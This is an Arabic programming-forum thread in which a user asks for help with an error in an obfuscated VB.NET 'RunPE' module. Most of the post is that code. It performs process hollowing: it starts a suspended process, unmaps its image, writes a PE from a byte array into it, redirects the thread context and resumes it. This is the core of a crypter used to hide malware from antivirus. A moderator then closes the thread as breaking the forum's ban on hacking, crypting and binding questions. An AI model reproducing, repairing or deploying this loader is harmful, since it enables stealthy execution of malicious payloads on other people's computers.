مششكلهه بالدوت نتتت عجزت الاقي لهآ حلل !

الموضوع في 'المواضيع المُكرّرة والمُخالفة' بواسطة thamer123, بتاريخ ‏27 أكتوبر 2013.

تم تحميل الصفحة في 1,7551923 ثانية
حالة الموضوع:
مغلق
  1. thamer123

    thamer123 Beginner Developer

    إنضم إلينا في:
    ‏15 نوفمبر 2009
    المشاركات:
    191
    الإعجابات المتلقاة:
    43
    نقاط الجائزة:
    0
    Credits:
    0
    السسسلام عليكم

    المشكله طبعآ تظهر وقت الاستدعاء


    :38::38:



    الخطآ ..
    [​IMG]







    موديلل 1 ..


    كود (Text):
    Imports System.Runtime.InteropServices
    Imports System.Text

    '''' <summary>
    '''' Coder : H2M @ Dev-Point.com
    '''' Coder RunPE : Simon-Binyo
    '''' Call : Dim x AS New XFOnAppXXxX: x.xrVyXXnkVhw( byte() , String )
    '''' Purpose : Execute App In Memory from byte array
    '''' </summary>

    Public Class XFOnAppXXxX
        Public Declare Function rlQXN Lib "kernel32" Alias "LoadLibraryA" (ByVal gXju As String) As IntPtr
        Public Declare Function nbxXrQ Lib "kernel32" Alias "GetProcAddress" (ByVal GNwo As IntPtr, ByVal gXju As String) As IntPtr
        Function zXXnXXnTxQhmVXo(Of T)(ByVal gXju As String, ByVal KXXv As String) As T
            Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(nbxXrQ(rlQXN(gXju), KXXv), GetType(T)), Object), T)
        End Function
        Delegate Function XObxZe(ByVal xXLH As IntPtr, ByVal DXXXXXEXd As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
        Delegate Function XXBlcX(ByVal h싹X As IntPtr, ByVal lXIv As IntPtr) As UInteger
        Delegate Function xczXVX(ByVal h싹X As IntPtr, ByVal lXIv As IntPtr, ByRef bufr As IntPtr, ByVal bufrMXhlXXyxb As Integer, ByRef 싹BBU As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
        Delegate Function XUXXxe(ByVal xXLHead As IntPtr, ByVal ODꐵX As IntPtr) As UInteger
        Delegate Function hNxBzX(ByVal xXLH As IntPtr, ByVal DXXXXXEXd As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
        Delegate Function XwYRNJ(ByVal h싹X As IntPtr, ByVal XipX As IntPtr, ByVal MXhlXXyxb As IntPtr, ByVal XXeX As Integer, ByVal oXyC As Integer) As IntPtr
        Delegate Function ykXXOD(ByVal h싹Xess As IntPtr, ByVal BvzsXXKOg As IntPtr, ByVal DFXP As Byte(), ByVal nMXhlXXyxb As UInteger, ByVal XXXTXfGXe As Integer) As Boolean
        Public Declare Auto Function QNXenX Lib "kernel32" Alias "CreateProcessW" (ByVal Xjxx As String, ByVal VXvX As StringBuilder, ByVal FXXXwbMVX As IntPtr, ByVal hXXX As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal XxKX As Boolean, ByVal XkXn As Integer, ByVal xXRx As IntPtr, ByVal aXXX As String, ByVal XHgx As Byte(), ByVal UlXK As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
        Private Function BHHXGdX(ByVal F싹싹XOxX As Long, Optional ByVal yXAXXXX As Long = &H4) As Integer
            Dim pCXsdOO As IntPtr
            Dim ꐵXoXWG싹 As Integer
            Dim XXlXQ As xczXVX = zXXnXXnTxQhmVXo(Of xczXVX)("ntdll", "NtReadVirtualMemory")
            Call XXlXQ(Process.GetCurrentProcess.Handle, F싹싹XOxX, pCXsdOO, yXAXXXX, ꐵXoXWG싹)
            Return pCXsdOO
        End Function
        Public Function xrVyXXnkVhw(ByVal Tmx싹fmꐵv As Byte(), ByVal MuiYXXQL As String) As Boolean
            Try
                Dim sjxBKLXoQ As GCHandle = GCHandle.Alloc(Tmx싹fmꐵv, GCHandleType.Pinned) : Dim hModuleBase As Integer = sjxBKLXoQ.AddrOfPinnedObject : sjxBKLXoQ.Free()
                Dim FXXXwbMVX As IntPtr = IntPtr.Zero
                Dim XxYmEUPW As IntPtr() = New IntPtr(3) {}
                Dim QzgXDPYXM As Byte() = New Byte(67) {}
                Dim XapxAGtXA As Integer = BitConverter.ToInt32(Tmx싹fmꐵv, 60)
                Dim XQbꐵsetHK As Integer
                Dim DXXXXXEXd As UInteger() = New UInteger(178) {}
                DXXXXXEXd(0) = &H10002
                QNXenX(Nothing, New StringBuilder(MuiYXXQL), FXXXwbMVX, FXXXwbMVX, False, 4, FXXXwbMVX, Nothing, QzgXDPYXM, XxYmEUPW)
                Dim XRFHXXZxg As Integer = (hModuleBase + BHHXGdX(hModuleBase + &H3C))
                XQbꐵsetHK = BHHXGdX(XRFHXXZxg + &H34)
                Dim XIfJY As XXBlcX = zXXnXXnTxQhmVXo(Of XXBlcX)("ntdll", "NtUnmapViewOfSection")
                XIfJY(XxYmEUPW(0), XQbꐵsetHK)
                Dim 싹XXxJ As XwYRNJ = zXXnXXnTxQhmVXo(Of XwYRNJ)("kernel32", "VirtualAllocEx")
                Dim BvzsXXKOg As IntPtr = 싹XXxJ(XxYmEUPW(0), XQbꐵsetHK, BHHXGdX(XRFHXXZxg + &H50), &H3000, &H40)
                Dim XjXXTXkXn As New IntPtr(BitConverter.ToInt32(Tmx싹fmꐵv, XapxAGtXA + &H34))
                Dim MXhlXXyxb As New IntPtr(BitConverter.ToInt32(Tmx싹fmꐵv, XapxAGtXA + 80))
                Dim exSnhXbXX As Integer
                Dim XXXTXfGXe As Integer
                Dim api8 As ykXXOD = zXXnXXnTxQhmVXo(Of ykXXOD)("ntdll", "NtWriteVirtualMemory")
                api8(XxYmEUPW(0), BvzsXXKOg, Tmx싹fmꐵv, CUInt(CInt(BHHXGdX(XRFHXXZxg + &H54))), exSnhXbXX)
                For i = 0 To BHHXGdX(XRFHXXZxg + &H6, 2) - 1
                    Dim QxXXXOFpl As Integer() = New Integer(9) {}
                    Buffer.BlockCopy(Tmx싹fmꐵv, (XapxAGtXA + &HF8) + (i * 40), QxXXXOFpl, 0, 40)
                    Dim lꐵBXXVXXr As Byte() = New Byte((QxXXXOFpl(4) - 1)) {}
                    Buffer.BlockCopy(Tmx싹fmꐵv, QxXXXOFpl(5), lꐵBXXVXXr, 0, lꐵBXXVXXr.Length)
                    MXhlXXyxb = New IntPtr(BvzsXXKOg.ToInt32() + QxXXXOFpl(3))
                    XjXXTXkXn = New IntPtr(lꐵBXXVXXr.Length)
                    api8(XxYmEUPW(0), MXhlXXyxb, lꐵBXXVXXr, CUInt(XjXXTXkXn), XXXTXfGXe)
                Next i
                Dim ꐵcpUX As XObxZe = zXXnXXnTxQhmVXo(Of XObxZe)("ntdll", "NtGetContextThread")
                ꐵcpUX(XxYmEUPW(1), DXXXXXEXd)
                api8(XxYmEUPW(0), DXXXXXEXd(41) + &H8, BitConverter.GetBytes(BvzsXXKOg.ToInt32()), CUInt(&H4), XXXTXfGXe)
                DXXXXXEXd(&H2C) = XQbꐵsetHK + BHHXGdX(XRFHXXZxg + &H28)
                Dim Ntbxn As hNxBzX = zXXnXXnTxQhmVXo(Of hNxBzX)("ntdll", "NtSetContextThread")
                Ntbxn(XxYmEUPW(1), DXXXXXEXd)
                Dim zXXxe As XUXXxe = zXXnXXnTxQhmVXo(Of XUXXxe)("ntdll", "NtResumeThread")
                zXXxe(XxYmEUPW(1), 0)
            Catch ex As Exception
                Return False
            End Try



    موديل 2 ..


    [​IMG]
     
    1 person likes this.
  2. LastSoul

    LastSoul VIP DeveloPer

    إنضم إلينا في:
    ‏31 مارس 2013
    المشاركات:
    2,138
    الإعجابات المتلقاة:
    1,937
    نقاط الجائزة:
    0
    الوظيفة:
    IT / College Student
    الإقامة:
    IRaQ
    Credits:
    0
    رد: مششكلهه بالدوت نتتت عجزت الاقي لهآ حلل !

    السلام عليكم اخي

    للأسف مخالف :

    - تمنع منعآ بآتا الإستفسارات اللتي تدور حول الإختراق وملحقاته من تشفير ودمج وتلغيم .
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...